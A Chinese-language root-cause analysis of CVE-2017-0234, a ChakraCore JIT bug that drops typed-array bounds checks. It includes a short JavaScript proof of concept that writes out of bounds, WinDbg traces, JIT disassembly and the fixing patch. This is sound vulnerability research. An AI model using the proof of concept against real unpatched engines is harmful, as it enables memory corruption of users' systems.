CVE-2017-0234
是 Chakra
引擎在进行 JIT
代码优化的时候优化过度,去掉了数组边界检查而导致的漏洞。
一
首先在 github
上找到对应的有漏洞的 ChakraCore
版本,可以在 release-note
里搜索 CVE-2017-0234
,发现:
v1.4.4 This patch release of ChakraCore 1.4 includes the following security fixes: Change to address CVE-2017-0229, CVE-2017-0223, CVE-2017-0224, CVE-2017-0252, CVE-2017-0230, CVE-2017-0234, CVE-2017-0235, CVE-2017-0236, CVE-2017-0228, CVE-2017-0238, CVE-2017-0266 #2959
那么最后一个有漏洞的版本就是 v1.4.3
,在 release
版里提供了二进制文件和源代码文件, binary
文件包含了如下内容:
arm ch.exe ch.pdb ChakraCore.dll ChakraCore.pdb x64 ch.exe ch.pdb ChakraCore.dll ChakraCore.pdb x86 ch.exe ch.pdb ChakraCore.dll ChakraCore.pdb
其中 ch.exe
就是 chakracore
的可执行文件,可以直接解释执行 .js
文件, ch.pdb
是符号文件,也可以用源代码手动编译,可以进行源码调试。
二
poc
代码如下:
function write(begin,end,step,num) { for(var i=begin;i<end;i+=step) view[i]=num; } var buffer = new ArrayBuffer(0x10000); var view = new Uint32Array(buffer); write(0,0x4000,1,0x1234); write(0x3000000e,0x40000010,0x10000,1851880825);
在 cmd
中运行 ch.exe
:
C:\Users\seviezhou>C:\Users\seviezhou\Desktop\ChakraCore-binaries\x64\ch.exe Usage: ch.exe [-v|-version] [-h|-help|-?] <source file> Note: [flaglist] is not supported in Release builds; try a Debug or Test build to enable these flags. -v|-version Displays version info -h|-help|-? Displays this help message C:\Users\seviezhou>C:\Users\seviezhou\Desktop\ChakraCore-binaries\x64\ch.exe -v ch.exe version 1.4.3.0 chakracore.dll version 1.4.3.0 C:\Users\seviezhou>
可知当前版本 v1.4.3.0
,用法是 ch.exe <js file>
。
接下来就可以用 windbg
对 ChakraCore
进行调试,首先在 gflag.exe
中对 ch.exe
开启 page heap
、 heap tagging
、 stack trace database
。
在 win7
上用 windbg
打开 ch.exe
得到崩溃:
(2ff0.1c44): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 00000000`075b014a 893c93 mov dword ptr [rbx+rdx*4],edi ds:00000002`0ac90038=????????
但在 win10
上似乎不会产生崩溃,所以接下来还是手动编译,使用 VS2015
编译源文件,在 win10
上产生崩溃:
0:002> g (13d4.b74): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 000000e1`c66f015a 46892c8e mov dword ptr [rsi+r9*4],r13d ds:000000e1`865b0038=???????? 0:002> k Child-SP RetAddr Call Site 000000d8`c631daa0 00007fff`26edd69a 0xe1`c66f015a 000000d8`c631db50 00007fff`26ede429 chakracore!Js::InterpreterStackFrame::CallLoopBody+0x3a [c:\users\sevie\desktop\chakracore-1.4.3\lib\runtime\language\interpreterstackframe.cpp @ 6218] 000000d8`c631db90 00007fff`26ed019c chakracore!Js::InterpreterStackFrame::DoLoopBodyStart+0x629 [c:\users\sevie\desktop\chakracore-1.4.3\lib\runtime\language\interpreterstackframe.cpp @ 6026] 000000d8`c631dc90 00007fff`26ec28c7 chakracore!Js::InterpreterStackFrame::ProfiledLoopBodyStart<1,1>+0x13c [c:\users\sevie\desktop\chakracore-1.4.3\lib\runtime\language\interpreterstackframe.cpp @ 5790] 000000d8`c631dcf0 00007fff`26f6c1bf chakracore!Js::InterpreterStackFrame::OP_ProfiledLoopStart<0,1>+0x397 [c:\users\sevie\desktop\chakracore-1.4.3\lib\runtime\language\interpreterstackframe.cpp @ 5692] 000000d8`c631dd40 00007fff`26ee7895 chakracore!Js::InterpreterStackFrame::ProcessProfiled+0x3ef [c:\users\sevie\desktop\chakracore-1.4.3\lib\runtime\language\interpreterhandler.inl @ 49] 000000d8`c631ddb0 00007fff`26ee2179 chakracore!Js::InterpreterStackFrame::Process+0x585 [c:\users\sevie\desktop\chakracore-1.4.3\lib\runtime\language\interpreterstackframe.cpp @ 3478]
由栈回溯可知是 interpreterstackframe.cpp
这个文件中的函数出现了问题, DoLoopBodyStart
中调用了 CallLoopBody
,最后执行了 JIT
代码导致了崩溃,相关代码如下:
LoopHeader const * InterpreterStackFrame::DoLoopBodyStart(uint32 loopNumber, LayoutSize layoutSize, const bool doProfileLoopCheck, const bool isFirstIteration) { ... else { AutoRestoreLoopNumbers autoRestore(this, loopNumber, doProfileLoopCheck); newOffset = this->CallLoopBody(entryPointInfo->jsMethod); } ... }
CallLoopBody
的参数就是 JIT
代码的地址,在 LoopEntryPointInfo
结构体偏移 0x18
处:
00000069`40c38000 00007fff21542ee8 chakracore!Js::LoopEntryPointInfo::`vftable' 00000069`40c38008 0000000000000000 00000069`40c38010 0000000000000000 00000069`40c38018 0000006a40e40000 // JIT代码地址 00000069`40c38020 0000000000000403 00000069`40c38028 000000613fbabff0 00000069`40c38030 0000000000000000
InterpreterStackFrame::CallLoopBody
:
InterpreterStackFrame::CallLoopBody(JavascriptMethod address) { #ifdef _M_IX86 void *savedEsp = NULL; __asm { // Save ESP mov savedEsp, esp // 8-byte align frame to improve floating point perf of our JIT'd code. and esp, -8 // Add an extra 4-bytes to the stack since we'll be pushing 3 arguments push eax } #endif #if defined(_M_ARM32_OR_ARM64) // For ARM we need to make sure that pipeline is synchronized with memory/cache for newly jitted code. // Note: this does not seem to affect perf, but if it was, we could add a boolean isCalled to EntryPointInfo // and do ISB only for 1st time this entry point is called (potential working set regression though). _InstructionSynchronizationBarrier(); #endif uint newOffset = ::Math::PointerCastToIntegral<uint>( CALL_ENTRYPOINT_NOASSERT(address, function, CallInfo(CallFlags_InternalFrame, 1), this)); // 漏洞发生点 #ifdef _M_IX86 _asm { // Restore ESP mov esp, savedEsp } #endif return newOffset; }
在 this->CallLoopBody(entryPointInfo->jsMethod);
和漏洞发生点下断点,由 poc
代码可知, write
函数中的循环生成了 JIT
代码,在调用 write(0,0x4000,1,0x1234);
不会有问题,而在调用第二次 write
时发生了越界, JIT
代码如下:
000000a2`34760000 48b8f8b6403399000000 mov rax,993340B6F8h 000000a2`3476000a 488b00 mov rax,qword ptr [rax] 000000a2`3476000d 4881c0301c0000 add rax,1C30h 000000a2`34760014 0f8088030000 jo 000000a2`347603a2 000000a2`3476001a 483be0 cmp rsp,rax 000000a2`3476001d 0f8e7f030000 jle 000000a2`347603a2 000000a2`34760023 0f1f4000 nop dword ptr [rax] 000000a2`34760027 0f1f4000 nop dword ptr [rax] 000000a2`3476002b 6690 xchg ax,ax 000000a2`3476002d 4c894c2420 mov qword ptr [rsp+20h],r9 000000a2`34760032 4c89442418 mov qword ptr [rsp+18h],r8 000000a2`34760037 4889542410 mov qword ptr [rsp+10h],rdx 000000a2`3476003c 48894c2408 mov qword ptr [rsp+8],rcx 000000a2`34760041 4855 push rbp ... 000000a2`34760120 488b7238 mov rsi,qword ptr [rdx+38h] 000000a2`34760124 49bbf8b6403399000000 mov r11,993340B6F8h 000000a2`3476012e 493b23 cmp rsp,qword ptr [r11] 000000a2`34760131 0f8ee5010000 jle 000000a2`3476031c 000000a2`34760137 898f7c390900 mov dword ptr [rdi+9397Ch],ecx 000000a2`3476013d ffc1 inc ecx 000000a2`3476013f 453bca cmp r9d,r10d 000000a2`34760142 7d3c jge 000000a2`34760180 000000a2`34760144 4d8bde mov r11,r14 000000a2`34760147 4d8beb mov r13,r11 000000a2`3476014a 49c1ed30 shr r13,30h 000000a2`3476014e 4983fd01 cmp r13,1 000000a2`34760152 0f85d6010000 jne 000000a2`3476032e 000000a2`34760158 458beb mov r13d,r11d 000000a2`3476015b 46892c8e mov dword ptr [rsi+r9*4],r13d // 溢出点 000000a2`3476015f 4503c8 add r9d,r8d 000000a2`34760162 71c0 jno 000000a2`34760124
溢出时 rsi
是数组基地址, r9
是数组索引,显然是索引过大导致了溢出,可以看到数组缓冲区内有第一次 write
填进去的值 0x1234
:
0:002> r rax=000100003000000e rbx=000000993340cb58 rcx=0000000000000001 rdx=000000a1344f2940 rsi=000000a134720000 rdi=000000a1344a47c4 rip=000000a23476015b rsp=000000a13449d540 rbp=000000a13449d5e0 r8=0000000000010000 r9=000000003000000e r10=0000000040000010 r11=000100006e617579 r12=000000a13449da30 r13=000000006e617579 r14=000100006e617579 r15=0001000040000010 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 000000a2`3476015b 46892c8e mov dword ptr [rsi+r9*4],r13d ds:000000a1`f4720038=???????? 0:002> dq 000000a134720000 l5 000000a1`34720000 00001234`00001234 00001234`00001234 000000a1`34720010 00001234`00001234 00001234`00001234 000000a1`34720020 00001234`00001234
三
看函数调用流程,根据栈回溯信息可知,在不调用 JIT
代码时,调用关系如下:
chakracore!Js::InterpreterStackFrame::InterpreterHelper chakracore!Js::InterpreterStackFrame::Process chakracore!Js::InterpreterStackFrame::ProcessProfiled chakracore!Js::InterpreterStackFrame::OP_ProfiledLoopBodyStart chakracore!Js::InterpreterStackFrame::ProfiledLoopBodyStart chakracore!Js::InterpreterStackFrame::DoLoopBodyStart
在 InterpreterHelper
中调用 Process()
函数, Process
函数处理当前执行 js
代码中的单次循环,在 Process
内返回 ProcessProfiled()
函数, ProcessProfiled
是一个宏定义的函数,指向了 INTERPRETERLOOPNAME
这个函数。
ProcessProfiled
函数处理循环,由宏定义,实际上指向了 InterpreterStackFrame::INTERPRETERLOOPNAME
函数,这个函数处理 bytecode
,将 bytecode
使用对应的函数处理,这个循环涉及到的主要有:
DEF2_WMS(BRCMem, BrLt_A, JavascriptOperators::Less) DEF2_WMS(BRCMem, BrEq_A, JavascriptOperators::Equal) DEF2_WMS(A2toA1Mem, Add_A, JavascriptMath::Add) DEF2_WMS(IP_TARG, ProfiledLoopBodyStart, OP_ProfiledLoopBodyStart) DEF2_WMS(IP_TARG, ProfiledLoopStart, OP_ProfiledLoopStart)
在没有 JIT
代码时,每次循环都会被 OP_ProfiledLoopBodyStart
处理,每次 currentLoopCounter
都会加一,然后调用 ProfiledLoopBodyStart
。在 LoopEntryPointInfo
结构体偏移 0xd0
的地方是 currentLoopCounter
当值为 0x97
的时候就会把循环转换成 JIT
执行。
template <LayoutSize layoutSize, bool profiled> const byte * InterpreterStackFrame::OP_ProfiledLoopBodyStart(const byte * ip) { uint32 C1 = m_reader.GetLayout<OpLayoutT_Unsigned1<LayoutSizePolicy<layoutSize>>>(ip)->C1; if(profiled || isAutoProfiling) { this->currentLoopCounter++; // 加1 } if (profiled) { OP_RecordImplicitCall(C1); } (this->*(profiled ? opProfiledLoopBodyStart : opLoopBodyStart))(C1, layoutSize, false /* isFirstIteration */); return m_reader.GetIP(); } template<bool InterruptProbe, bool JITLoopBody> void InterpreterStackFrame::ProfiledLoopBodyStart(uint32 loopNumber, LayoutSize layoutSize, bool isFirstIteration) { Assert(Js::DynamicProfileInfo::EnableImplicitCallFlags(GetFunctionBody())); if (InterruptProbe) { this->DoInterruptProbe(); } #if ENABLE_TTD if(SHOULD_DO_TTD_STACK_STMT_OP(this->scriptContext)) { this->scriptContext->GetThreadContext()->TTDLog->UpdateLoopCountInfo(); } #endif if (!JITLoopBody || this->IsInCatchOrFinallyBlock()) { // For functions having try-catch-finally, jit loop bodies for loops that are contained only in a try block, // not even indirect containment in a Catch or Finally. return; } LoopHeader const * loopHeader = DoLoopBodyStart(loopNumber, layoutSize, false, isFirstIteration); // 没有JIT则返回null Assert(loopHeader == nullptr || this->m_functionBody->GetLoopNumber(loopHeader) == loopNumber); if (loopHeader != nullptr) { // We executed jitted loop body, no implicit call information available for this loop uint currentOffset = m_reader.GetCurrentOffset(); if (!loopHeader->Contains(currentOffset) || (m_reader.PeekOp() == OpCode::ProfiledLoopEnd)) { // Restore the outer loop's implicit call flags scriptContext->GetThreadContext()->SetImplicitCallFlags(this->savedLoopImplicitCallFlags[loopNumber]); } else { // We bailout from the loop, just continue collect implicit call flags for this loop } } }
通过下断点调试可知 array
缓冲区地址为 000000b7735c0000
,可以看到,当处于 JIT
代码内时, 000000b7735c0260
之前已经填入了 0x1234
,也就是说,在循环了300次之后,解释引擎开始生成了 JIT
代码,并且之后的赋值都在 JIT
中完成。
0:002> 000000b8`7360015b 46892c8e mov dword ptr [rsi+r9*4],r13d ds:000000b7`735c0260=00000000 第一次使用JIT代码赋值时的数组内存: 000000b7`735c0238 0000123400001234 000000b7`735c0240 0000123400001234 000000b7`735c0248 0000123400001234 000000b7`735c0250 0000123400001234 000000b7`735c0258 0000123400001234 000000b7`735c0260 0000000000000000 000000b7`735c0268 0000000000000000 000000b7`735c0270 0000000000000000
四
在 DoLoopBodyStart
中有如下代码, loopInterpretCount
是 0x96
,当 loopHeader->interpretCount
也就是 currentLoopCounter
为 0x97
的时候会进入如下的判断中:
const uint loopInterpretCount = GetFunctionBody()->GetLoopInterpretCount(loopHeader); if (loopHeader->interpretCount > loopInterpretCount) // 进入 { if (this->scriptContext->GetConfig()->IsNoNative()) { return nullptr; } if (!fn->DoJITLoopBody()) { return nullptr; } #if ENABLE_NATIVE_CODEGEN if (entryPointInfo != NULL && entryPointInfo->IsNotScheduled()) { GenerateLoopBody(scriptContext->GetNativeCodeGenerator(), fn, loopHeader, entryPointInfo, fn->GetLocalsCount(), this->m_localSlots); // 生成JIT代码 } #endif }
由 GenerateLoopBody
函数生成 JIT
代码,调用的是 NativeCodeGenerator::GenerateLoopBody
:
JsLoopBodyCodeGen * workitem = this->NewLoopBodyCodeGen(fn, entryPoint, loopHeader); // work对象 entryPoint->SetCodeGenPending(workitem); ... workitem->SetJitMode(ExecutionMode::FullJit); // 设置ExecutionMode为fulljit AddToJitQueue(workitem, /*prioritize*/ true, /*lock*/ true); // 加入JIT队列
加入队列后,就会有单独的线程去把循环变成 JIT
代码,有了 JIT
后,第二次调用 write
时函数流程为:
chakracore!Js::InterpreterStackFrame::InterpreterHelper chakracore!Js::InterpreterStackFrame::Process chakracore!Js::InterpreterStackFrame::ProcessProfiled chakracore!Js::InterpreterStackFrame::OP_ProfiledLoopStart chakracore!Js::InterpreterStackFrame::ProfiledLoopBodyStart chakracore!Js::InterpreterStackFrame::DoLoopBodyStart chakracore!Js::InterpreterStackFrame::CallLoopBody JIT Code
省去了循环计数。
根据 github
上关于 CVE-2017-0234
的修补,出问题的代码如下:
if (baseValueType.IsLikelyOptimizedVirtualTypedArray() && !Js::IsSimd128LoadStore(instr->m_opcode) /*Always extract bounds for SIMD */) { if (isProfilableStElem || !instr->IsDstNotAlwaysConvertedToInt32() || ( (baseValueType.GetObjectType() == ObjectType::Float32VirtualArray || baseValueType.GetObjectType() == ObjectType::Float64VirtualArray) && !instr->IsDstNotAlwaysConvertedToNumber() ) ) { eliminatedLowerBoundCheck = true; eliminatedUpperBoundCheck = true; canBailOutOnArrayAccessHelperCall = false; } }
isProfilableStElem
的值为 true
导致进入了 if
判断,并且赋值 eliminatedLowerBoundCheck
与 eliminatedUpperBoundCheck
为 true
,去掉了边界检查。在 GlobOpt::OptArraySrc
下断点,当 currentLoopCounter
为 0x97
的时候进入了 JIT
代码的生成过程,断在了 GlobOpt::OptArraySrc
函数中,调用栈如下:
chakracore!GlobOpt::OptArraySrc+0x8d6 chakracore!GlobOpt::OptInstr+0xa1b chakracore!GlobOpt::OptBlock+0x8d9 chakracore!GlobOpt::ForwardPass+0xb2f chakracore!GlobOpt::Optimize+0x36f chakracore!Func::TryCodegen+0x4ca chakracore!Func::Codegen+0x103 chakracore!NativeCodeGenerator::CodeGen+0xde4 chakracore!NativeCodeGenerator::Process+0x1dd chakracore!JsUtil::BackgroundJobProcessor::Process+0x62 chakracore!JsUtil::BackgroundJobProcessor::Run+0x3da chakracore!JsUtil::BackgroundJobProcessor::StaticThreadProc+0xf4 chakracore!invoke_thread_procedure+0x2c chakracore!thread_start<unsigned int (__cdecl*)(void * __ptr64)>+0x93
在单独线程中调用了 NativeCodeGenerator::CodeGen
生成了 JIT
代码,然后对代码使用 GlobOpt
类进行优化,在 JIT
代码生成后被后台线程 FunctionBody::SetLoopBodyEntryPoint
加入到 LoopEntryPointInfo
结构体中,下次循环执行时就会执行 JIT
。
对应修改:
- eliminatedLowerBoundCheck = true; - eliminatedUpperBoundCheck = true; - canBailOutOnArrayAccessHelperCall = false; + // Unless we're in asm.js (where it is guaranteed that virtual typed array accesses cannot read/write beyond 4GB), + // check the range of the index to make sure we won't access beyond the reserved memory beforing eliminating bounds + // checks in jitted code. + if (!GetIsAsmJSFunc()) //判断是否是asmjs函数 + { + IR::RegOpnd * idxOpnd = baseOwnerIndir->GetIndexOpnd(); + if (idxOpnd) + { + StackSym * idxSym = idxOpnd->m_sym->IsTypeSpec() ? idxOpnd->m_sym->GetVarEquivSym(nullptr) : idxOpnd->m_sym; + Value * idxValue = FindValue(idxSym); + IntConstantBounds idxConstantBounds; + if (idxValue && idxValue->GetValueInfo()->TryGetIntConstantBounds(&idxConstantBounds)) + { + BYTE indirScale = Lowerer::GetArrayIndirScale(baseValueType); + int32 upperBound = idxConstantBounds.UpperBound(); + int32 lowerBound = idxConstantBounds.LowerBound(); + if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH)) + { + eliminatedLowerBoundCheck = true; // 如果上界小于0x100000000也就是4GB则可以去掉边界检查 + eliminatedUpperBoundCheck = true; + canBailOutOnArrayAccessHelperCall = false; + } + } + } + } + else // 如果是asmjs函数可去掉边界检查 + { + eliminatedLowerBoundCheck = true; + eliminatedUpperBoundCheck = true; + canBailOutOnArrayAccessHelperCall = false; + }
增加了对是否使用 asm.js
的判断,并且在对边界检查进行优化时检查了边界。
感谢 exp-sky
的指导。
注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。